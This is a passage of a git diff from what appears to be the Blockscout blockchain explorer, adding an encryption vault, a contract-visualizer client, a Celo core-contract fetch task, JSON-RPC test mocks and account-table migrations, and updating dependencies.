expiration_date, created_date, _updated_date, - _min_treshold + _min_threshold ]) do %{ name: trim_null_bytes(first_name) <> " " <> trim_null_bytes(last_name), diff --git a/apps/explorer/lib/explorer/vault.ex b/apps/explorer/lib/explorer/vault.ex new file mode 100644 index 000000000000..70fc1ed17d7a --- /dev/null +++ b/apps/explorer/lib/explorer/vault.ex @@ -0,0 +1,22 @@ +defmodule Explorer.Vault do + @moduledoc """ + Module responsible for encrypt/decrypt GenServer initialization + """ + use Cloak.Vault, otp_app: :explorer + + @impl GenServer + def init(config) do + config = + Keyword.put(config, :ciphers, + default: {Cloak.Ciphers.AES.GCM, tag: "AES.GCM.V1", key: decode_env!("ACCOUNT_CLOAK_KEY")} + ) + + {:ok, config} + end + + defp decode_env!(var) do + env = if Mix.env() == :test, do: "+fh7IElJfA61+vMMw8rW9SBJFHmhVL1DLpKE22qUJgw=", else: System.get_env(var) + + Base.decode64!(env || "") + end +end diff --git a/apps/explorer/lib/explorer/visualize/sol2uml.ex b/apps/explorer/lib/explorer/visualize/sol2uml.ex new file mode 100644 index 000000000000..c26f5d1b894e --- /dev/null +++ b/apps/explorer/lib/explorer/visualize/sol2uml.ex @@ -0,0 +1,68 @@ +defmodule Explorer.Visualize.Sol2uml do + @moduledoc """ + Adapter for sol2uml visualizer with https://github.com/blockscout/blockscout-rs/blob/main/visualizer + """ + alias Explorer.HttpClient + alias Explorer.Utility.Microservice + require Logger + + @post_timeout 60_000 + @request_error_msg "Error while sending request to visualizer microservice" + + def visualize_contracts(body) do + http_post_request(visualize_contracts_url(), body) + end + + def http_post_request(url, body) do + headers = [{"Content-Type", "application/json"}] + + case HttpClient.post(url, Jason.encode!(body), headers, recv_timeout: @post_timeout) do + {:ok, %{body: body, status_code: 200}} -> + process_visualizer_response(body) + + {:ok, %{body: body, status_code: status_code}} -> + Logger.error(fn -> ["Invalid status code from visualizer: #{status_code}. body: ", inspect(body)] end) + {:error, "failed to visualize contract"} + + {:error, error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to visualizer microservice. url: #{url}, body: #{inspect(body, limit: :infinity, printable_limit: :infinity)}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:error, @request_error_msg} + end + end + + def process_visualizer_response(body) when is_binary(body) do + case Jason.decode(body) do + {:ok, decoded} -> + process_visualizer_response(decoded) + + _ -> + {:error, body} + end + end + + def process_visualizer_response(%{"svg" => svg}) do + {:ok, svg} + end + + def process_visualizer_response(other), do: {:error, other} + + def visualize_contracts_url, do: "#{base_api_url()}" <> "/solidity:visualize-contracts" + + def base_api_url, do: "#{base_url()}" <> "/api/v1" + + def base_url do + Microservice.base_url(__MODULE__) + end + + def enabled?, do: Application.get_env(:explorer, __MODULE__)[:enabled] +end diff --git a/apps/explorer/lib/fetch_celo_core_contracts.ex b/apps/explorer/lib/fetch_celo_core_contracts.ex new file mode 100644 index 000000000000..6d720350aa9c --- /dev/null +++ b/apps/explorer/lib/fetch_celo_core_contracts.ex @@ -0,0 +1,236 @@ +defmodule Mix.Tasks.FetchCeloCoreContracts do + @moduledoc """ + Fetch the addresses of celo core contracts: `mix help celo-contracts` + """ + @shortdoc "Fetches the addresses of celo core contracts" + + use Mix.Task + + import Explorer.Helper, + only: [ + decode_data: 2, + truncate_address_hash: 1 + ] + + alias Mix.Task + + alias EthereumJSONRPC.Logs + alias Explorer.Chain.Cache.CeloCoreContracts + alias Indexer.Helper, as: IndexerHelper + + @registry_proxy_contract_address "0x000000000000000000000000000000000000ce10" + @registry_updated_event_signature "0x4166d073a7a5e704ce0db7113320f88da2457f872d46dc020c805c562c1582a0" + @carbon_offsetting_fund_set_event_signature "0xe296227209b47bb8f4a76768ebd564dcde1c44be325a5d262f27c1fd4fd4538b" + @fee_beneficiary_set_event_signature "0xf7015098f8d6fa48f0560725ffd5f81bf687ee5ac45153b590bdcb04648bbdd3" + @burn_fraction_set_event_signature "0x41c679f4bcdc2c95f79a3647e2237162d9763d86685ef6c667781230c8ba9157" + + @chunk_size 200_000 + @max_request_retries 3 + + def run(_) do + Task.run("app.start") + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + atom_to_contract_name = CeloCoreContracts.atom_to_contract_name() + atom_to_contract_event_names = CeloCoreContracts.atom_to_contract_event_names() + contract_names = atom_to_contract_name |> Map.values() + {:ok, latest_block_number} = EthereumJSONRPC.fetch_block_number_by_tag("latest", json_rpc_named_arguments) + + core_contract_addresses = + 0..latest_block_number + |> fetch_logs_by_chunks( + fn chunk_start, chunk_end -> + [ + Logs.request( + 0, + %{ + from_block: chunk_start, + to_block: chunk_end, + address: @registry_proxy_contract_address, + topics: [@registry_updated_event_signature] + } + ) + ] + end, + json_rpc_named_arguments + ) + |> Enum.reduce(%{}, fn log, acc -> + [contract_name] = decode_data(log.data, [:string]) + new_contract_address = truncate_address_hash(log.third_topic) + + entry = %{ + address: new_contract_address, + updated_at_block_number: log.block_number + } + + if contract_name in contract_names do + acc + |> Map.update( + contract_name, + [entry], + &[entry | &1] + ) + else + acc + end + end) + |> Map.new(fn {contract_name, entries} -> + {contract_name, Enum.reverse(entries)} + end) + + epoch_rewards_events = + [@carbon_offsetting_fund_set_event_signature] + |> fetch_events_for_contract( + :epoch_rewards, + core_contract_addresses, + latest_block_number, + json_rpc_named_arguments + ) + |> Map.new(fn {address, logs} -> + entries = + logs + |> Enum.map( + &%{ + address: truncate_address_hash(&1.second_topic), + updated_at_block_number: &1.block_number + } + ) + + event_name = atom_to_contract_event_names[:epoch_rewards][:carbon_offsetting_fund_set] + {address, %{event_name => entries}} + end) + + fee_handler_events = + [ + @fee_beneficiary_set_event_signature, + @burn_fraction_set_event_signature + ] + |> fetch_events_for_contract( + :fee_handler, + core_contract_addresses, + latest_block_number, + json_rpc_named_arguments + ) + |> Map.new(fn {address, logs} -> + topic_to_logs = logs |> Enum.group_by(& &1.first_topic) + + fee_beneficiary_set_event_name = atom_to_contract_event_names[:fee_handler][:fee_beneficiary_set] + burn_fraction_set_event_name = atom_to_contract_event_names[:fee_handler][:burn_fraction_set] + + { + address, + %{ + fee_beneficiary_set_event_name => + topic_to_logs + |> Map.get(@fee_beneficiary_set_event_signature, []) + |> Enum.map( + &%{ + address: truncate_address_hash(&1.data), + updated_at_block_number: &1.block_number + } + ), + burn_fraction_set_event_name => + topic_to_logs + |> Map.get(@burn_fraction_set_event_signature, []) + |> Enum.map(fn log -> + [fraction] = decode_data(log.data, [{:int, 256}]) + + %{ + value: fraction, + updated_at_block_number: log.block_number + } + end) + } + } + end) + + core_contracts_json = + %{ + "addresses" => core_contract_addresses, + "events" => %{ + atom_to_contract_name[:epoch_rewards] => epoch_rewards_events, + atom_to_contract_name[:fee_handler] => fee_handler_events + } + } + |> Jason.encode!() + + IO.puts("CELO_CORE_CONTRACTS=#{core_contracts_json}") + end + + defp fetch_logs_by_chunks(from_block..to_block//_, requests_func, json_rpc_named_arguments) do + from_block..to_block + |> IndexerHelper.range_chunk_every(@chunk_size) + |> Enum.reduce([], fn chunk_start..chunk_end//_, acc -> + IndexerHelper.log_blocks_chunk_handling(chunk_start, chunk_end, 0, to_block, nil, :L1) + + requests = requests_func.(chunk_start, chunk_end) + + {:ok, responses} = + IndexerHelper.repeated_batch_rpc_call( + requests, + json_rpc_named_arguments, + fn message -> "Could not fetch logs: #{message}" end, + @max_request_retries + ) + + {:ok, logs} = Logs.from_responses(responses) + + acc ++ logs + end) + end + + defp fetch_events_for_contract( + event_signatures, + contract_atom, + core_contract_addresses, + latest_block_number, + json_rpc_named_arguments + ) do + contract_name = + CeloCoreContracts.atom_to_contract_name() + |> Map.get(contract_atom) + + core_contract_addresses + |> Map.get(contract_name, []) + |> Enum.chunk_every(2, 1) + |> Enum.map(fn + [entry, %{updated_at_block_number: to_block}] -> + {entry, to_block} + + [entry] -> + {entry, latest_block_number} + end) + |> Enum.map(fn {%{address: address}, to_block} -> + logs = + fetch_events_for_address( + 0..to_block, + event_signatures, + address, + json_rpc_named_arguments + ) + + {address, logs} + end) + end + + defp fetch_events_for_address(chunk_range, event_signatures, address, json_rpc_named_arguments) do + fetch_logs_by_chunks( + chunk_range, + fn chunk_start, chunk_end -> + event_signatures + |> Enum.with_index() + |> Enum.map(fn {signature, index} -> + Logs.request( + index, + %{ + from_block: chunk_start, + to_block: chunk_end, + address: address, + topics: [signature] + } + ) + end) + end, + json_rpc_named_arguments + ) + end +end diff --git a/apps/explorer/lib/release_tasks.ex b/apps/explorer/lib/release_tasks.ex index 8d5a1b486c7a..a55174738421 100644 --- a/apps/explorer/lib/release_tasks.ex +++ b/apps/explorer/lib/release_tasks.ex @@ -14,7 +14,9 @@ defmodule Explorer.ReleaseTasks do :ecto_sql ] - @repos Application.compile_env(:blockscout, :ecto_repos, [Explorer.Repo]) + def repos do + Application.get_env(:explorer, :ecto_repos) + end def create_and_migrate do start_services() @@ -26,7 +28,7 @@ defmodule Explorer.ReleaseTasks do end def create do - Enum.each(@repos, &create_db_for/1) + Enum.each(repos(), &create_db_for/1) end def migrate(_argv) do @@ -56,7 +58,7 @@ defmodule Explorer.ReleaseTasks do IO.puts("Starting repos..") # Switch pool_size to 2 for ecto > 3.0 - Enum.each(@repos, & &1.start_link(pool_size: 2)) + Enum.each(repos(), & &1.start_link(pool_size: 2)) end defp stop_services do @@ -75,7 +77,7 @@ defmodule Explorer.ReleaseTasks do end defp run_migrations do - Enum.each(@repos, &run_migrations_for/1) + Enum.each(repos(), &run_migrations_for/1) end defp run_migrations_for(repo) do @@ -86,7 +88,7 @@ defmodule Explorer.ReleaseTasks do end defp run_seeds do - Enum.each(@repos, &run_seeds_for/1) + Enum.each(repos(), &run_seeds_for/1) end # sobelow_skip ["RCE.CodeModule"] diff --git a/apps/explorer/lib/test_helper.ex b/apps/explorer/lib/test_helper.ex new file mode 100644 index 000000000000..54977d5326bf --- /dev/null +++ b/apps/explorer/lib/test_helper.ex @@ -0,0 +1,313 @@ +defmodule Explorer.TestHelper do + @moduledoc false + + import Mox + + alias ABI.TypeEncoder + alias Explorer.Chain.Hash + alias Explorer.Chain.SmartContract.Proxy.ResolvedDelegateProxy + + @zero_address_hash %Hash{byte_count: 20, bytes: <<0::160>>} + @random_beacon_address_hash %Hash{byte_count: 20, bytes: <<0x3C7EC3E3B80D78FBDD348D796466AB828B45234F::160>>} + @random_address_manager_address_hash %Hash{byte_count: 20, bytes: <<0xBFCEF74A0522F50A48C759D05BCE97FAB2CA84C6::160>>} + + @implementation_name_storage_value "0x494d504c454d454e544154494f4e00000000000000000000000000000000001c" + # cast cd 'getAddress(string)' IMPLEMENTATION + @address_manager_calldata "0xbf40fac10000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000e494d504c454d454e544154494f4e000000000000000000000000000000000000" + + def mock_erc7760_basic_requests( + mox, + error?, + %Hash{} = address_hash \\ @zero_address_hash + ) do + expect(mox, :json_rpc, fn [ + %{ + id: id, + method: "eth_getStorageAt", + params: [ + _, + "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", + "latest" + ] + } + ], + _options -> + if error?, + do: {:error, "error"}, + else: + {:ok, + [ + %{id: id, result: address_hash_to_full_hash_string(address_hash)} + ]} + end) + end + + def mock_erc7760_beacon_requests( + mox, + error?, + %Hash{} = address_hash \\ @zero_address_hash + ) do + if error? do + expect(mox, :json_rpc, fn [ + %{ + id: _, + method: "eth_getStorageAt", + params: [ + _, + "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", + "latest" + ] + } + ], + _options -> + {:error, "error"} + end) + else + beacon_address_hash_string = to_string(@random_beacon_address_hash) + + mox + |> expect(:json_rpc, fn [ + %{ + id: id, + method: "eth_getStorageAt", + params: [ + _, + "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{id: id, result: address_hash_to_full_hash_string(@random_beacon_address_hash)} + ]} + end) + |> expect(:json_rpc, fn %{ + id: _, + method: "eth_call", + params: [ + %{ + data: "0x5c60da1b", + to: ^beacon_address_hash_string + }, + "latest" + ] + }, + _options -> + {:ok, address_hash_to_full_hash_string(address_hash)} + end) + end + end + + def mock_resolved_delegate_proxy_requests( + mox, + %Hash{} = proxy_address_hash, + %Hash{} = implementation_address_hash \\ @zero_address_hash + ) do + proxy_address_hash_string = to_string(proxy_address_hash) + address_manager_address_hash_string = to_string(@random_address_manager_address_hash) + + [ + storage: implementation_name_slot, + storage: address_manager_slot + ] = ResolvedDelegateProxy.get_fetch_requirements(proxy_address_hash) + + mox + |> expect(:json_rpc, fn [ + %{ + id: id1, + method: "eth_getStorageAt", + params: [ + ^proxy_address_hash_string, + ^implementation_name_slot, + "latest" + ] + }, + %{ + id: id2, + method: "eth_getStorageAt", + params: [ + ^proxy_address_hash_string, + ^address_manager_slot, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{id: id1, result: @implementation_name_storage_value}, + %{id: id2, result: address_hash_to_full_hash_string(@random_address_manager_address_hash)} + ]} + end) + |> expect( + :json_rpc, + fn %{ + id: _, + method: "eth_call", + params: [ + %{ + data: @address_manager_calldata, + to: ^address_manager_address_hash_string + }, + "latest" + ] + }, + _options -> + {:ok, address_hash_to_full_hash_string(implementation_address_hash)} + end + ) + end + + def mock_generic_proxy_requests(mox, mocks \\ []) do + expect(mox, :json_rpc, fn [ + %{ + id: id1, + method: "eth_getStorageAt", + params: [ + _, + "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", + "latest" + ] + }, + %{ + id: id2, + method: "eth_getStorageAt", + params: [ + _, + "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7", + "latest" + ] + }, + %{ + id: id3, + method: "eth_getStorageAt", + params: [ + _, + "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", + "latest" + ] + }, + %{ + id: id4, + method: "eth_call", + params: [ + %{ + data: "0x52ef6b2c", + to: _ + }, + "latest" + ] + }, + %{ + id: id5, + method: "eth_getStorageAt", + params: [ + _, + "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", + "latest" + ] + } + | rest + ], + _options -> + {:ok, + [ + mocks |> Keyword.get(:eip1967, @zero_address_hash) |> encode_in_batch_response(id1), + mocks |> Keyword.get(:eip1822, @zero_address_hash) |> encode_in_batch_response(id2), + mocks |> Keyword.get(:eip1967_beacon, @zero_address_hash) |> encode_in_batch_response(id3), + %{id: id4, error: "error"}, + mocks |> Keyword.get(:eip1967_oz, @zero_address_hash) |> encode_in_batch_response(id5) + ] ++ + Enum.map(rest, fn + %{id: id6, method: "eth_call", params: [%{data: "0x5c60da1b", to: _}, "latest"]} -> + mocks |> Keyword.get(:basic_implementation, @zero_address_hash) |> encode_in_batch_response(id6) + end)} + end) + + if Keyword.get(mocks, :eip1967_beacon) && Keyword.get(mocks, :eip1967_beacon_implementation) do + beacon_address_hash_string = to_string(Keyword.get(mocks, :eip1967_beacon)) + + expect(mox, :json_rpc, fn %{ + id: 0, + method: "eth_call", + params: [ + %{ + data: "0x5c60da1b", + to: ^beacon_address_hash_string + }, + "latest" + ] + }, + _options -> + {:ok, address_hash_to_full_hash_string(Keyword.get(mocks, :eip1967_beacon_implementation))} + end) + end + end + + defp encode_in_batch_response(%Hash{byte_count: 20, bytes: _} = address_hash, id), + do: %{id: id, result: address_hash_to_full_hash_string(address_hash)} + + defp encode_in_batch_response(:error, id), + do: %{id: id, error: "error"} + + defp address_hash_to_full_hash_string(%Hash{byte_count: 20, bytes: bytes}) do + to_string(%Hash{byte_count: 32, bytes: <<0::96, bytes::binary>>}) + end + + def fetch_token_uri_mock(url, token_contract_address_hash_string) do + encoded_url = + "0x" <> + ([url] + |> TypeEncoder.encode(%ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000001", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: encoded_url + } + ]} + end) + end + + def get_chain_id_mock do + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn %{ + id: _id, + method: "eth_chainId", + params: [] + }, + _options -> + {:ok, "0x1"} + end) + end + + def topic(topic_hex_string) do + {:ok, topic} = Explorer.Chain.Hash.Full.cast(topic_hex_string) + topic + end +end diff --git a/apps/explorer/mix.exs b/apps/explorer/mix.exs index 8f27ecc6b734..f2c99e675cd6 100644 --- a/apps/explorer/mix.exs +++ b/apps/explorer/mix.exs @@ -9,13 +9,13 @@ defmodule Explorer.Mixfile do config_path: "../../config/config.exs", deps: deps(), deps_path: "../../deps", - description: "Read-access to indexed block chain data.", + description: "Read-access to indexed blockchain data.", dialyzer: [ - plt_add_deps: :transitive, + plt_add_deps: :app_tree, plt_add_apps: ~w(ex_unit mix)a, - ignore_warnings: "../../.dialyzer-ignore" + ignore_warnings: "../../.dialyzer_ignore.exs" ], - elixir: "~> 1.13", + elixir: "~> 1.17", elixirc_paths: elixirc_paths(Mix.env()), lockfile: "../../mix.lock", package: package(), @@ -24,7 +24,8 @@ defmodule Explorer.Mixfile do dialyzer: :test ], start_permanent: Mix.env() == :prod, - version: "4.1.8" + version: "9.1.1", + xref: [exclude: [BlockScoutWeb.Routers.WebRouter.Helpers, Indexer.Helper, Indexer.Fetcher.InternalTransaction]] ] end @@ -56,17 +57,18 @@ defmodule Explorer.Mixfile do # Type `mix help deps` for examples and options. defp deps do [ + {:bamboo, "~> 2.5.0"}, + {:mime, "~> 2.0"}, {:bcrypt_elixir, "~> 3.0"}, # benchmark optimizations - {:benchee, "~> 1.1.0", only: :test}, + {:benchee, "~> 1.4.0", only: :test}, # CSV output for benchee {:benchee_csv, "~> 1.0.0", only: :test}, {:bypass, "~> 2.1", only: :test}, {:briefly, "~> 0.4", github: "CargoSense/briefly"}, {:comeonin, "~> 5.3"}, - {:credo, "~> 1.5", only: :test, runtime: false}, # For Absinthe to load data in batches - {:dataloader, "~> 1.0.0"}, + {:dataloader, "~> 2.0.0"}, {:decimal, "~> 2.0"}, {:dialyxir, "~> 1.1", only: [:dev, :test], runtime: false}, # `override: true` for `ex_machina` compatibility @@ -75,25 +77,28 @@ defmodule Explorer.Mixfile do {:ecto_sql, "~> 3.3"}, # JSONRPC access to query smart contracts {:ethereum_jsonrpc, in_umbrella: true}, + {:ex_keccak, "~> 0.7.5"}, # Data factory for testing {:ex_machina, "~> 2.3", only: [:test]}, + # ZSTD compression/decompression + {:ezstd, "~> 1.2"}, {:exvcr, "~> 0.10", only: :test}, - {:httpoison, "~> 1.6"}, + {:httpoison, "~> 2.0"}, {:jason, "~> 1.3"}, {:junit_formatter, ">= 0.0.0", only: [:test], runtime: false}, # Log errors and application output to separate files {:logger_file_backend, "~> 0.0.10"}, {:math, "~> 0.7.0"}, {:mock, "~> 0.3.0", only: [:test], runtime: false}, - {:mox, "~> 1.0", only: [:test]}, - {:phoenix_html, "== 3.0.4"}, - {:poison, "~> 5.0.0"}, + {:mox, "~> 1.1.0"}, + {:phoenix_html, "== 3.3.4"}, + {:poison, "~> 4.0.1"}, {:nimble_csv, "~> 1.1"}, {:postgrex, ">= 0.0.0"}, - # For compatibility with `prometheus_process_collector`, which hasn't been updated yet - {:prometheus, "~> 4.0", override: true}, + {:prometheus, "~> 6.0", override: true}, # Prometheus metrics for query duration {:prometheus_ecto, "~> 1.4.3"}, + {:prometheus_ex, "~> 5.0.0", override: true}, # bypass optional dependency {:plug_cowboy, "~> 2.2", only: [:dev, :test]}, {:que, "~> 0.10.1"}, @@ -105,12 +110,31 @@ defmodule Explorer.Mixfile do # `:spandex` tracing of `:ecto` {:spandex_ecto, "~> 0.7.0"}, # Attach `:prometheus_ecto` to `:ecto` - {:telemetry, "~> 0.4.3"}, - # `Timex.Duration` for `Explorer.Counters.AverageBlockTime.average_block_time/0` + {:telemetry, "~> 1.3.0"}, + # `Timex.Duration` for `Explorer.Chain.Cache.Counters.AverageBlockTime.average_block_time/0` {:timex, "~> 3.7.1"}, {:con_cache, "~> 1.0"}, - {:tesla, "~> 1.4.4"}, - {:cbor, "~> 1.0"} + {:tesla, "~> 1.15.3"}, + {:cbor, "~> 1.0"}, + {:cloak_ecto, "~> 1.3.0"}, + {:redix, "~> 1.1"}, + {:hammer_backend_redis, "~> 7.0"}, + {:logger_json, "~> 5.1"}, + {:typed_ecto_schema, "~> 0.4.1"}, + {:ueberauth, "~> 0.7"}, + {:recon, "~> 2.5"}, + {:varint, "~> 1.4"}, + {:blake2, "~> 1.0"}, + {:ueberauth_auth0, "~> 2.0"}, + {:oauth2, "~> 2.0"}, + {:siwe, github: "royal-markets/siwe-ex", ref: "51c9c08240eb7eea3c35693011f8d260cd9bb3be"}, + {:joken, "~> 2.6"}, + {:utils, in_umbrella: true}, + {:dns, "~> 2.4.0"}, + {:inet_cidr, "~> 1.0.0"}, + {:hammer, "~> 7.0"}, + {:ton, "~> 0.5.0"}, + {:mint, "~> 1.0"} ] end diff --git a/apps/explorer/package-lock.json b/apps/explorer/package-lock.json index 2b48149e5187..6fb65c57db57 100644 --- a/apps/explorer/package-lock.json +++ b/apps/explorer/package-lock.json @@ -7,10 +7,10 @@ "name": "blockscout", "license": "GPL-3.0", "dependencies": { - "solc": "0.8.16" + "solc": "0.8.30" }, "engines": { - "node": "16.x", + "node": "18.x", "npm": "8.x" } }, @@ -28,9 +28,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.14.8", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.8.tgz", - "integrity": "sha512-1x0S9UVJHsQprFcEC/qnNzBLcIxsjAV905f/UkQxbclCsoTWlacCNOpQa/anodLl2uaEKFhfWOvM2Qg77+15zA==", + "version": "1.15.6", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz", + "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==", "funding": [ { "type": "individual", @@ -68,17 +68,18 @@ } }, "node_modules/semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", "bin": { "semver": "bin/semver" } }, "node_modules/solc": { - "version": "0.8.16", - "resolved": "https://registry.npmjs.org/solc/-/solc-0.8.16.tgz", - "integrity": "sha512-6oZg7FAhIouj2zYLvoR3Q4fMP/+BGPR7sY7GcrEXKIp+DRd8RmpDEFO1LUBKpClUiaYguNgmthTFmnPl4MeiMQ==", + "version": "0.8.30", + "resolved": "https://registry.npmjs.org/solc/-/solc-0.8.30.tgz", + "integrity": "sha512-9Srk/gndtBmoUbg4CE6ypAzPQlElv8ntbnl6SigUBAzgXKn35v87sj04uZeoZWjtDkdzT0qKFcIo/wl63UMxdw==", + "license": "MIT", "dependencies": { "command-exists": "^1.2.8", "commander": "^8.1.0", @@ -92,7 +93,7 @@ "solcjs": "solc.js" }, "engines": { - "node": ">=10.0.0" + "node": ">=12.0.0" } }, "node_modules/tmp": { @@ -119,9 +120,9 @@ "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==" }, "follow-redirects": { - "version": "1.14.8", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.8.tgz", - "integrity": "sha512-1x0S9UVJHsQprFcEC/qnNzBLcIxsjAV905f/UkQxbclCsoTWlacCNOpQa/anodLl2uaEKFhfWOvM2Qg77+15zA==" + "version": "1.15.6", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz", + "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==" }, "js-sha3": { "version": "0.8.0", @@ -139,14 +140,14 @@ "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" }, "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==" }, "solc": { - "version": "0.8.16", - "resolved": "https://registry.npmjs.org/solc/-/solc-0.8.16.tgz", - "integrity": "sha512-6oZg7FAhIouj2zYLvoR3Q4fMP/+BGPR7sY7GcrEXKIp+DRd8RmpDEFO1LUBKpClUiaYguNgmthTFmnPl4MeiMQ==", + "version": "0.8.30", + "resolved": "https://registry.npmjs.org/solc/-/solc-0.8.30.tgz", + "integrity": "sha512-9Srk/gndtBmoUbg4CE6ypAzPQlElv8ntbnl6SigUBAzgXKn35v87sj04uZeoZWjtDkdzT0qKFcIo/wl63UMxdw==", "requires": { "command-exists": "^1.2.8", "commander": "^8.1.0", diff --git a/apps/explorer/package.json b/apps/explorer/package.json index 3c5c00095998..fe64f0e1bb1b 100644 --- a/apps/explorer/package.json +++ b/apps/explorer/package.json @@ -8,11 +8,11 @@ "author": "Blockscout", "license": "GPL-3.0", "engines": { - "node": "16.x", + "node": "18.x", "npm": "8.x" }, "scripts": {}, "dependencies": { - "solc": "0.8.16" + "solc": "0.8.30" } } diff --git a/apps/explorer/priv/account/migrations/20211031164954_create_account_identities.exs b/apps/explorer/priv/account/migrations/20211031164954_create_account_identities.exs new file mode 100644 index 000000000000..fb571247f0b4 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20211031164954_create_account_identities.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Account.Migrations.CreateAccountIdentities do + use Ecto.Migration + + def change do + create table(:account_identities) do + add(:uid, :string) + + timestamps() + end + + create(unique_index(:account_identities, [:uid])) + end +end diff --git a/apps/explorer/priv/account/migrations/20211105114502_create_account_watchlists.exs b/apps/explorer/priv/account/migrations/20211105114502_create_account_watchlists.exs new file mode 100644 index 000000000000..2e7c93f3cc97 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20211105114502_create_account_watchlists.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Account.Migrations.CreateAccountWatchlists do + use Ecto.Migration + + def change do + create table(:account_watchlists) do + add(:name, :string, default: "default") + add(:identity_id, references(:account_identities, on_delete: :delete_all)) + + timestamps() + end + + create(index(:account_watchlists, [:identity_id])) + end +end diff --git a/apps/explorer/priv/account/migrations/20211105130907_create_account_watchlist_addresses.exs b/apps/explorer/priv/account/migrations/20211105130907_create_account_watchlist_addresses.exs new file mode 100644 index 000000000000..ef51c1850e5e --- /dev/null +++ b/apps/explorer/priv/account/migrations/20211105130907_create_account_watchlist_addresses.exs @@ -0,0 +1,28 @@ +defmodule Explorer.Repo.Account.Migrations.CreateAccountWatchlistAddresses do + use Ecto.Migration + + def change do + create table(:account_watchlist_addresses) do + add(:name, :string) + add(:address_hash, :bytea, null: false) + add(:watchlist_id, references(:account_watchlists, on_delete: :delete_all)) + add(:watch_coin_input, :boolean, default: true) + add(:watch_coin_output, :boolean, default: true) + add(:watch_erc_20_input, :boolean, default: true) + add(:watch_erc_20_output, :boolean, default: true) + add(:watch_erc_721_input, :boolean, default: true) + add(:watch_erc_721_output, :boolean, default: true) + add(:watch_erc_1155_input, :boolean, default: true) + add(:watch_erc_1155_output, :boolean, default: true) + add(:notify_email, :boolean, default: true) + add(:notify_epns, :boolean, default: false) + add(:notify_feed, :boolean, default: true) + add(:notify_inapp, :boolean, default: false) + + timestamps() + end + + create(index(:account_watchlist_addresses, [:watchlist_id])) + create(index(:account_watchlist_addresses, [:address_hash])) + end +end diff --git a/apps/explorer/priv/account/migrations/20211127212336_create_account_watchlist_notifications.exs b/apps/explorer/priv/account/migrations/20211127212336_create_account_watchlist_notifications.exs new file mode 100644 index 000000000000..7d4af566fe46 --- /dev/null +++ b/apps/explorer/priv/account/migrations/20211127212336_create_account_watchlist_notifications.exs @@ -0,0 +1,31 @@ +defmodule Explorer.Repo.Account.Migrations.CreateAccountWatchlistNotifications do + use Ecto.Migration + + def change do + create table(:account_watchlist_notifications) do + add(:watchlist_address_id, references(:account_watchlist_addresses, on_delete: :delete_all)) + + add(:transaction_hash, :bytea) + + add(:from_address_hash, :bytea) + + add(:to_address_hash, :bytea) + + add(:direction, :string) + add(:name, :string) + add(:type, :string) + add(:method, :string) + add(:block_number, :integer) + add(:amount, :decimal) + add(:tx_fee, :decimal) + add(:viewed_at, 